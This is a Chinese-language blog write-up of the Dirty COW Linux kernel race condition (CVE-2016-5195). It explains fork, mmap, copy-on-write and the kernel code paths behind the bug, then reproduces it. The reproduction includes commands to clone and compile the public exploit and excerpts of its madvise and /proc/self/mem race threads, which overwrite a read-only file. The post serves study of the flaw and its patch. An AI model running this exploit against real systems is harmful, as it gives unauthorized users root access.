HackPluto's Blog

DirtyCow漏洞复现及原理分析

字数统计: 7.7k阅读时长: 30 min
2019/10/28 Share

基本概括

漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复

脏牛漏洞是竞争危害中的一个案例。自从2007年开始它就已经存在于Linux之中,但直到2016年10月份才被发现和利用。这一个漏洞几乎影响所有的以Linux为基础发展起来的操作系统,包括安卓,因此产生了严重的后果:攻击者可以通过该漏洞获得ROOT权限。该漏洞存在于Linux内核的Copy-On-Write代码中。通过该漏洞,攻击者可以修改任何受保护的文件,即便对于这些文件,攻击者仅有读权限。

预备知识

fork

在说明Linux下的copy-on-write机制前,我们首先要知道两个函数:fork()和exec()。需要注意的是exec()并不是一个特定的函数, 它是一组函数的统称, 它包括了execl()、execlp()、execv()、execle()、execve()、execvp()。

fork是类Unix操作系统上创建进程的主要方法。fork用于创建子进程(等同于当前进程的副本)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <unistd.h>  
#include <stdio.h>  

int main ()   
{   
    pid_t fpid; //fpid表示fork函数返回的值  
    int count=0;

    // 调用fork,创建出子进程  
    fpid=fork();

    // 所以下面的代码有两个进程执行!
    if (fpid < 0)   
        printf("创建进程失败!/n");   
    else if (fpid == 0) {  
        printf("我是子进程,由父进程fork出来/n");   
        count++;  
    }  
    else {  
        printf("我是父进程/n");   
        count++;  
    }  
    printf("统计结果是: %d/n",count);  
    return 0;  
}

exec()

exec函数的作用就是:装载一个新的程序(可执行映像)覆盖当前进程内存空间中的映像,从而执行不同的任务。exec系列函数在执行时会直接替换掉当前进程的地址空间。
存放在硬盘上的可执行文件能够被UNIX执行的唯一方法是:由一个现有进程调用6个exec函数中的某一个。exec把当前进程映像替换成新的进程文件,而且该新程序通常从main函数处开始执行。进程ID并不改变。我们称调用exec的进程为调用进程,称新执行的程序为新程序。
6个exec函数的区别在于:

  • 待执行的程序文件是由文件名还是由路径名指定
  • 新程序的参数是一一列出还是由一个指针数组来引用;
  • 把调用进程的环境传递给新程序还是给新程序指定新的环境。

mmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

返回说明
成功执行时,mmap()返回被映射区的指针。失败时,mmap()返回MAP_FAILED[其值为(void *)-1],

参数
start:映射区的开始地址

length:映射区的长度

prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过or运算合理地组合在一起(PROT_READ(可读) , PROT_WRITE (可写), PROT_EXEC (可执行), PROT_NONE(不可访问)。)

flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体(MAP_SHARED , MAP_PRIVATE , MAP_FIXED,其中,MAP_SHARED , MAP_PRIVATE选其一,而MAP_FIXED则不推荐使用。)

fd:有效的文件描述词。如果MAP_ANONYMOUS被设定,为了兼容问题,其值应为-1

offset:被映射对象内容的起点

mmap是一种内存映射文件的方法,即将一个文件或者其它对象映射到进程的地址空间,实现文件磁盘地址和进程虚拟地址空间中一段虚拟地址的一一对映关系。实现这样的映射关系后,进程就可以采用指针的方式读写操作这一段内存,而系统会自动回写脏页面到对应的文件磁盘上,即完成了对文件的操作而不必再调用read,write等系统调用函数。相反,内核空间对这段区域的修改也直接反映用户空间,从而可以实现不同进程间的文件共享。

linux内核使用vm_area_struct结构来表示一个独立的虚拟内存区域,由于每个不同质的虚拟内存区域功能和内部机制都不同,因此一个进程使用多个vm_area_struct结构来分别表示不同类型的虚拟内存区域。各个vm_area_struct结构使用链表或者树形结构链接,方便进程快速访问

vm_area_struct结构中包含区域起始和终止地址以及其他相关信息,同时也包含一个vm_ops指针,其内部可引出所有针对这个区域可以使用的系统调用函数。这样,进程对某一虚拟内存区域的任何操作需要用要的信息,都可以从vm_area_struct中获得。mmap函数就是要创建一个新的vm_area_struct结构,并将其与文件的物理磁盘地址相连。

mmap内存映射原理

mmap内存映射的实现过程,总的来说可以分为三个阶段:

一.进程启动映射过程,并在虚拟地址空间中为映射创建虚拟映射区域

  • 1、进程在用户空间调用库函数mmap
  • 2、在当前进程的虚拟地址空间中,寻找一段空闲的满足要求的连续的虚拟地址
  • 3、为此虚拟区分配一个vm_area_struct结构,接着对这个结构的各个域进行了初始化
  • 4、将新建的虚拟区结构(vm_area_struct)插入进程的虚拟地址区域链表或树中

二.调用内核空间的系统调用函数mmap(不同于用户空间函数),实现文件物理地址和进程虚拟地址的一一映射关系

  • 5、为映射分配了新的虚拟地址区域后,通过待映射的文件指针,在文件描述符表中找到对应的文件描述符,通过文件描述符,链接到内核“已打开文件集”中该文件的文件结构体(struct file),每个文件结构体维护着和这个已打开文件相关各项信息。
  • 6、通过该文件的文件结构体,链接到file_operations模块,调用内核函数mmap,其原型为:int mmap(struct file filp, struct vm_area_struct vma),不同于用户空间库函数。
  • 7、内核mmap函数通过虚拟文件系统inode模块定位到文件磁盘物理地址。
  • 8、通过remap_pfn_range函数建立页表,即实现了文件地址和虚拟地址区域的映射关系。此时,这片虚拟地址并没有任何数据关联到主存中。

三.进程发起对这片映射空间的访问,引发缺页异常,实现文件内容到物理内存(主存)的拷贝
注:前两个阶段仅在于创建虚拟区间并完成地址映射,但是并没有将任何文件数据的拷贝至主存。真正的文件读取是当进程发起读或写操作时。

  • 9、进程的读或写操作访问虚拟地址空间这一段映射地址,通过查询页表,发现这一段地址并不在物理页面上。因为目前只建立了地址映射,真正的硬盘数据还没有拷贝到内存中,因此引发缺页异常。

  • 10、缺页异常进行一系列判断,确定无非法操作后,内核发起请求调页过程。

  • 11、调页过程先在交换缓存空间(swap cache)中寻找需要访问的内存页,如果没有则调用nopage函数把所缺的页从磁盘装入到主存中。

  • 12、之后进程即可对这片主存进行读或者写的操作,如果写操作改变了其内容,一定时间后系统会自动回写脏页面到对应磁盘地址,也即完成了写入到文件的过程。

注:修改过的脏页面并不会立即更新回文件中,而是有一段时间的延迟,可以调用msync()来强制同步, 这样所写的内容就能立即保存到文件里了。

copy-on-write

linux内核在使用fork创建进程时,基本上会使用Copy-On-Write(COW)技术.意思上就是:在复制一个对象的时候并不是真正的把原先的对象复制到内存的另外一个位置上,而是在新对象的内存映射表中设置一个指针,指向源对象的位置,并把那块内存的Copy-On-Write位设置为1.这样,在对新的对象执行读操作的时候,内存数据不发生任何变动,直接执行读操作;而在对新的对象执行写操作时,将真正的对象复制到新的内存地址中,并修改新对象的内存映射表指向这个新的位置,并在新的内存位置上执行写操作。我个人觉得这种做法在Linux上是很常见的,比如编译时的延迟绑定,都是这种“懒”的办法。这个技术需要跟虚拟内存和分页同时使用,好处就是在执行复制操作时因为不是真正的内存复制,而只是建立了一个指针,因而大大提高效率。但这不是一直成立的,如果在复制新对象之后,大部分对象都还需要继续进行写操作会产生大量的分页错误,得不偿失。所以COW高效的情况只是在复制新对象之后,在一小部分的内存分页上进行写操作。

竞争条件

竞争条件:当两个线程竞争同一资源时,如果对资源的访问顺序敏感,就称存在竞态条件。导致竞态条件发生的代码区称作临界区。

1
2
3
4
5
6
class Counter { 
protected long count = 0;
public void add(long value) {
this.count = this.count + value;
}
}

add()方法就是一个临界区,它会产生竞态条件。

漏洞原理

当调用write系统调用向/proc/self/mem文件中写入数据时,进入内核态后内核会调get_user_pages函数获取要写入内存地址。get_user_pages会调用follow_page_mask来获取这块内存的页表项,并同时要求页表项所指向的内存映射具有可写的权限。
第一次获取内存的页表项会因为缺页而失败。get_user_page调用faultin_page进行缺页处理后第二次调用follow_page_mask获取这块内存的页表项,如果需要获取的页表项指向的是一个只读的映射,那第二次获取也会失败。这时候get_user_pages函数会第三次调用follow_page_mask来获取该内存的页表项,并且不再要求页表项所指向的内存映射具有可写的权限,这时是可以成功获取的,获取成功后内核会对这个只读的内存进行强制的写入操作。
这个实现是没有问题的,因为本来写入/proc/self/mem就是一个无视映射权限的强行写入,就算是文件映射到虚拟内存中,也不会出现越权写:如果写入的虚拟内存是一个VM_PRIVATE的映射,那在缺页的时候内核就会执行COW操作产生一个副本来进行写入,写入的内容是不会同步到文件中的如果写入的虚拟内存是一个VM_SHARE的映射,那mmap能够映射成功的充要条件就是进程拥有对该文件的写权限,这样写入的内容同步到文件中也不算越权了。但是,在上述流程中,如果第二次获取页表项失败之后,另一个线程调用madvice(addr,addrlen,MADV_DONTNEED),其中addr~addr+addrlen是一个只读文件VM_PRIVATE的只读内存映射,那该映射的页表项会被置空。这时如果get_user_pages函数第三次调用follow_page_mask来获取该内存的页表项。由于这次调用不再要求该内存映射具有写权限,所以在缺页处理的时候内核也不再会执行COW操作产生一个副本以供写入。
所以缺页处理完成后后第四次调follow_page_mask获取这块内存的页表项的时候,不仅可以成功获取,而且获取之后强制的写入的内容也会同步到映射的只读文件中。从而导致了只读文件的越权写。

攻击

在进行漏洞复现的时候,我第一次使用Ubuntu14.04.5发现这个洞已经被补上了,后来使用Ubuntu14.04.1成功getshell

1.这里使用官方的EXP

1
git clone https://github.com/dirtycow/dirtycow.github.io

我们最后要使用的是 dirtyc0w.c 文件,在dirtyc0w.c文件中,官方已经给出了漏洞利用步骤

2.编译exp:

1
gcc dirtyc0w.c -o dirtycow lpthread

3.创建一个只读文件并写入内容

1
2
3
4
echo 1234 > test
chmod 404 test
ls -lah test
-r-----r-- 1 root root 5 Oct 29 10:41 test

4.执行程序

1
./dirtyc0w test abcde

这里我们发现文件的内容已经改变,而这个文件本来是只读的所以漏洞利用成功。

EXP详解

接下来通过分析官方EXP源码,理解漏洞利用过程

1
2
3
4
5
6
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];

代码是通过写入来验证触发了漏洞,所以首先会以只读的方式O_RDONLY来打开open一个特定的文件,由于我们目前只有比较低的权限,无法写入特定的文件。在成功打开并获取了文件描述符之后,立即调用mmap来映射该文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*

调用函数mmap在进程的虚拟地址空间中创建了一个基于文件的(file-backed)的只读的内存映射,内核中通过结构struct vm_area_struect来描述该内核对象,其包含映射的文件描述符,对于映射的页的读写权限等一些信息。之后创建了两个线程,一个调用madvice,另一个调用write。

1
2
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

接下来是分析的重点,重点分析madviseThread和procselfmemThread函数

首先看下madviseThread:

1
2
3
4
5
6
7
8
9
10
11
12
13
void *madviseThread(void *arg){
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);}

函数原型

1
2
3
#include <sys/types.h>
#include <sys/mman.h>
int madvise(caddr_t addr, size_t len, int advice);

函数建议内核,在从 addr 指定的地址开始,长度等于 len 参数值的范围内,该区域的用户虚拟内存应遵循特定的使用模式。内核使用这些信息优化与指定范围关联的资源的处理和维护过程。如果使用 madvise() 函数的程序明确了解其内存访问模式,则使用此函数可以提高系统性能。成功时,madvise()返回 0,如果出错,则返回-1

madvise(MADV_DONTNEED)基本功能是清除被管理的内存映射的物理页。就当前情况而言, 在调用完该函数后,提到的这些页将被clear。当下一次用户尝试访问这些内存区域时,原始的内容会重新从磁盘或者页缓存中导入,而对于匿名的堆内存,则会填充零。
官方文档解释如下:

1
2
3
4
MADV_DONTNEEDDo not expect access in the near future. (For the time being,
the application is finished with the given range, so the kernel can free resources associated with it.)
Subsequent accesses of pages in this range will succeed, but will result either in reloading of the memory
contents from the underlying mapped file (see mmap(2)) or zero-fill-on-demand pages for mappings without an underlying file

继续看另一个线程procselfmemThread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void *procselfmemThread(void *arg){
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);}

lseek函数的作用是用来重新定位文件读写的位移。
函数声明

1
2
3
#include <sys/types.h>
#include <unistd.h>
off_t lseek(int fd, off_t offset, int whence);

offset为正则向文件末尾移动(向前移),为负数则向文件头部(向后移)。

它首先lseek到映射的地址,之后调用write(2)便实现了直接修改原本是只读权限的file-backed的内存映射。

write(2)

write(2) on /proc/{pid}/mem
/proc/{pid}/meme是一个假的文件,它提供了一些Out-of-band的访问内存的方法。另一个类似的访问是调用ptrace(2),同样的,也可称为Dirty COW的另一个可选的攻击点。
为弄清楚/proc/self/mem如何工作,我们需要深入的了解内核。首先看下对于虚拟的文件,write(2)是如何实现的。在内核层面中,文件系统的操作的实现是利用面向对象的思想设计的(OOP)。有一个通用的抽象的结构struct file_operations。不同的文件类型,可以提供不同的实现。对于/proc/{pid}/mem,它的实现在文件/fs/proc/base.c中。

1
2
3
4
5
6
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,};

当write(2)写一个虚拟文件时,内核将调用函数mem_write,它只是对meme_rw的一个简单的封装。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
static ssize_t mem_rw(struct file *file, char __user *buf, size_t count, loff_t *ppos, int write){
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;

if (!mm)
return 0;

/* allocate an exchange buffer */
page = (char *)__get_free_page(GFP_TEMPORARY);
if (!page)
return -ENOMEM;

copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;

while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE);

/* copy user content to the exchange buffer */
if (write && copy_from_user(page, buf, this_len)) {
copied = -EFAULT;
break;
}

this_len = access_remote_vm(mm, addr, page, this_len, write);
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}

if (!write && copy_to_user(buf, page, this_len)) {
copied = -EFAULT;
break;
}

buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;

mmput(mm);free:
free_page((unsigned long) page);
return copied;}

函数开始的时候分配了一个临时的内存buffer,用来在源进程(i.e. 写的那个进程)和目的进程(被写/proc/self/mem的那个进程)之间的内存交换。

1
page = (char *)__get_free_page(GFP_TEMPORARY);

当前,这两个进程是一样的。但是在一般情况下这一步是非常重要的,对于两个不同的进程。因为一个进程不能直接访问另一个进程的虚拟地址空间。之后它拷贝源进程的用户态bufferbuf中的内容到当前刚申请的空间中,通过调用函数copy_from_use。当这些前奏工作准备好之后,真正关键的部分是access_remote_vm。正如其名字含义一样,它允许内核读写另一个进程的虚拟地址空间。它是所有out-of-band访问内存方式的核心实现(比如,ptrace(2), /proc/self/mem, process_vm_readv, process_vm_writev等)。

1
this_len = access_remote_vm(mm, addr, page, this_len, write);

access_remote_vm调用了多个中间层函数,最终调用get_user_pages_locked(…),在这个函数中,它第一次开始解析这种out-of-band访问方式的flags,当前情况的标志为:
FOLL_TOUCH | FOLL_REMOTE | FOLL_GET | FOLL_WRITE | FOLL_FORCE
这些被称为gup_flags(Get User Pages flags)或者foll_flags(Follow flags),它们来代表一些信息,比如调用者为什么或以何种方式访问和获得目标的内存页。我们暂称它为access semantics(访问语义)。
之后flag和所有其他的参数之后传递给
get_user_pages,此时才是开始真正地访问远程进程内存。
get_user_pages 和faultin_page。 get_use_pages函数用来查找和锁定一个指定的虚拟地址范围(在远程进程的虚拟地址空间范围内)到内核地址空间范围内。锁定内存是必须的,若没有这一步,用户态页面可能不在内存中。之后__get_user_pages以某种方式模拟用户态内存访问,但是是在内核层面上,之后使用faultin_page来完成对页错误的处理。
如下是相关代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking){
/* ... snip ... */

do {
/* ... snip ... */retry:
cond_resched(); /* please rescheule me!!! */
page = follow_page_mask(vma, start, foll_flags, &page_mask);
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags,
nonblocking);
switch (ret) {
case 0:
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
}
if (pages) {
pages[i] = page;
flush_anon_page(vma, page, start);
flush_dcache_page(page);
page_mask = 0;
}
/* ... snip ... */
}
/* ... snip ... */}

代码首先定位远程进程中起始地址为start的内存页,而且foll_flags决定着当前的内存访问语义。如果该页面不可用(page==NULL),即该页面不在内存中,需要进行页错误处理。之后faultin_page被调用,内部模拟一个内存空间的访问和触发页错误处理,以期待handler换进丢失的页。
通常有几个原因导致follow_page_mask`返回空,如下是一个不完全的列表:
该地址没有关联的内存映射,比如访问空指针。
该内存映射已经被创建了,但是由于demand-paging,内容尚未被加载进来。
页已经被换出到原始的文件或者交换文件中。
访问语义foll_flags与页的权限配置不一致(比如,写一个只读的映射)。
最后一个原因就是我们调用write(2)写/proc/self/mem后发生的情况。通常的做法是页错误handler成功的处理错误,返回一个有效的页,之后再次重新访问。
注意那个retry标志。此刻还不清楚作用,之后我们会提到,它是另一个导致此次exploit的“帮凶”。
心里明白这点后,继续看fault_page的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking){
struct mm_struct *mm = vma->vm_mm;
unsigned int fault_flags = 0;
int ret;

/* mlock all present pages, but do not fault in new pages */
if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
return -ENOENT;
/* For mm_populate(), just skip the stack guard page. */
if ((*flags & FOLL_POPULATE) &&
(stack_guard_page_start(vma, address) ||
stack_guard_page_end(vma, address + PAGE_SIZE)))
return -ENOENT;
if (*flags & FOLL_WRITE)
fault_flags |= FAULT_FLAG_WRITE;
if (*flags & FOLL_REMOTE)
fault_flags |= FAULT_FLAG_REMOTE;
if (nonblocking)
fault_flags |= FAULT_FLAG_ALLOW_RETRY;
if (*flags & FOLL_NOWAIT)
fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
if (*flags & FOLL_TRIED) {
VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
fault_flags |= FAULT_FLAG_TRIED;
}

ret = handle_mm_fault(mm, vma, address, fault_flags);
if (ret & VM_FAULT_ERROR) {
if (ret & VM_FAULT_OOM)
return -ENOMEM;
if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
return -EFAULT;
BUG();
}

if (tsk) {
if (ret & VM_FAULT_MAJOR)
tsk->maj_flt++;
else
tsk->min_flt++;
}

if (ret & VM_FAULT_RETRY) {
if (nonblocking)
*nonblocking = 0;
return -EBUSY;
}

/*
* The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
* necessary, even if maybe_mkwrite decided not to set pte_write. We
* can thus safely do subsequent page lookups as if they were reads.
* But only do so when looping for pte_write is futile: in some cases
* userspace may also be wanting to write to the gotten user page,
* which a read fault here might prevent (a readonly page might get
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
return 0;}

函数的前半段解释foll_flags为对应的fault_flags,用以传递给handle_mm_fault,而该函数负责解析页错误,这样__get_user_pages可以继续执行。
在当前情况中,因为我们要修改的原始的内存映射为只读的,故handle_mm_fault将创建一个新的只读的COW page(do_wp_page)给我们想要写的地址,同时使它为变为私有的和dirty,因此称为Dirty COW。
真正创建COWed page的是嵌入在handle深处的do_wp_page,粗略的执行流程如下:

1
2
3
4
5
6
7
8
9
10
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
FAULT_FLAG_WRITE && !pte_write
do_wp_page PageAnon() <- this is CoWed page already
reuse_swap_page <- page is exclusively ours
wp_page_reuse
maybe_mkwrite <- dirty but RO again
ret = VM_FAULT_WRITE

在它检测到一个写时复制发生后,(ret & VM_FAULT_WRITE == true),它决定移除FOLL_WRITEflag。为什么要这样做?
还记得那个retry lable么?如果不移除FOLL_WRITE,则下一次retry,将执行同样的流程。新申请的COWed 页和原来的也有同样的访问权限。同样的访问权限,同样的foll_flags,同样的retry,会导致死循环。
为了打破这种无限的retry循环,一个聪明的想法是移除write flag。这样当下一次调用follow_page_mask时,将返回一个有效的页,指向起始地址。因为当前FOLL_WRITE不在了,foll_flags仅仅是一个普通的读权限,这对于新申请的COWed 只读页时允许的。

谎言

此处到了问题的关键。通过从foll_flags移除write标志, follow_page_mask在下一次retry时,该访问将被视为只读的,尽管我们的目标是要写。现在,假如我们在同一时刻,COWed page被抛弃了通过另一个线程调用madvice(MADV_DONTNEED)会怎样?当然什么灾难也不会发生。follow_page_mask将仍然失败由于定位COWed page时发生缺页。但是下一次在faultin_page发生的将非常有趣。因为这次foll_flags并不包含FOLL_WRITE,故不再创建一个dirty COW 页,handle_mm_fault将简单地将该页从page cache中移除!为什么这么直接,因为万能的kernel只是在处理请求read 权限(切记,FOLL_WRITE已经被移除了),为什么要费尽创建页的另一个拷贝,如果kernel已经约定不再修改它。
faultin_page返回不久之后,get_user_pages将做另一次retry,来获取它请求了多次的页。多亏follow_page_mask在这次尝试中,最终返回给我们页。而且,它不再是普通的页,它是直接绑定特权文件的原始页。
Kernel帮助我们获得了打开特权城堡的钥匙。有这个页在手,通用的commonner non-root程序现在有能力修改root file了。
所有一切都是因为kernel在此撒谎了。在被告知dirty COW页已经ready之后的retry中,它只告诉了follow_page_mask和handle_mm_fault,只需要只读权限。这两个函数高兴的接受,最终返回一个当前任务最优的一个页。在这种情况下,它返回了一个如果我们修改它,它就将修改内容写回到原始特权文件的页。
在最终获得页之后,
get_user_pages可以最终跳过faultin_page调用,返回页给__access_remote_vm来进行更多的处理。

灾难

该页怎样被修改?如下是access_remote_vm的相关代码

1
2
3
4
5
6
7
8
9
maddr = kmap(page);
if (write) {
copy_to_user_page(vma, page, addr,
maddr + offset, buf, bytes);
set_page_dirty_lock(page);
} else {
/* ... snip ... */
}
kunmap(page);

上个代码片段中的page将直接映射我们之前提到的页。内核首先映射kmap这些页到内核地址空间中,之后调用copy_to_user_page快速地将buf中的用户数据写入到提到的页中,修改原始页的内容。
过一段时间以后,内核守护者线程(kflushd, bdflush, kupdated, pdflush线程等)会将被修改的页将被会写回到位于磁盘的特权文件中,这样就完成了整个攻击。
你可以会问,是听起来不错,但是发生的概率是多大?利用的话,有多少成功率?所有这些是在内核空间中吧?内核拥有权力来决定什么时候一个线程运行吧?
不幸的是,你可能已经猜到了。概率很大,Dirty COW甚至在一个单核的机器上,利用都相当稳定,归功于__get_user_ages会显示请求任务机制来切换线程,通过调用cond_resched。
以下是两个线程如何相互竞争的:

机敏的读者可能已经注意到了,如果我们直接访问一个基于文件的只读映射,一个段错误将会产生。但是,为什么我们使用wirte写proc/self/mem确返回了一个dirty COWed的页呢?
这个原因取决于当在一个进程内发生内存访问和当采用out-of-band(ptrace, /proc/{pid}/mem内存访问时,内核如何处理页错误的情况。这两种情况最终都会调用handle_mm_fault来处理页错误。但是后者使用faultin_page来模拟页错误,页错误直接导致触发MMU,将直接进入中断处理器,之后所有的路径都进入到平台独立的内核处理函数__do_page_fault中。而在直接写只读内存区域时,hanler将检测到访问违例在函数access_error中,同时在handle_mm_fault处理之前,直接触发信号SIGEGV在函数bad_aea_access_error中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static noinline void__do_page_fault(struct pt_regs *regs, unsigned long error_code,
unsigned long address){
/* ... snip ... */

if (unlikely(access_error(error_code, vma))) {
/* Let's skip handle_mm_fault, here comes SIGSEGV!!! */
bad_area_access_error(regs, error_code, address, vma);
return;
}

/* I'm here... */
fault = handle_mm_fault(mm, vma, address, flags);

/* ... snip ... */}

然而,faultin_page会吝啬的处理访问违例,通过创建一个脏的 COWed页返回来使其合理合法(这毕竟是一个只读的,kernel不能如此轻松让你直接返回映射的页),相信kernel将会有一个完美的理由来violate这个访问,没有段错误。
为什么内核采用如此多步骤来提供这种Out-of-band的内存访问呢?为什么内核支持这种侵入式的访问,从一个进程来访问另一个进程的地址空间?
答案很简单,即使每个进程的地址空间是神圣的,私有性很强,等等。但是仍然需要调试器或别的侵入式的程序来有方法访问和获取一个进程的数据。这是一个了不起的实现,不然调试器从一个bug程序中如何设置断点和观察变量。

漏洞修复

该漏洞的patch。现在不再是把FOLL_WRITE标记去掉,而是添加了一个FOLL_COW标志来表示获取一个COW分配的页。即使是竞态条件破坏了一次完整的获取页的过程,但是因为FOLL_WRITE标志还在,所以会重头开始分配一个COW页,从而保证该过程的完整性。

CATALOG
  1. 1. 基本概括
  2. 2. 预备知识
    1. 2.1. fork
    2. 2.2. exec()
    3. 2.3. mmap
    4. 2.4. copy-on-write
    5. 2.5. 竞争条件
    6. 2.6. 漏洞原理
  3. 3. 攻击
    1. 3.1. EXP详解
      1. 3.1.1. write(2)
  4. 4. 漏洞修复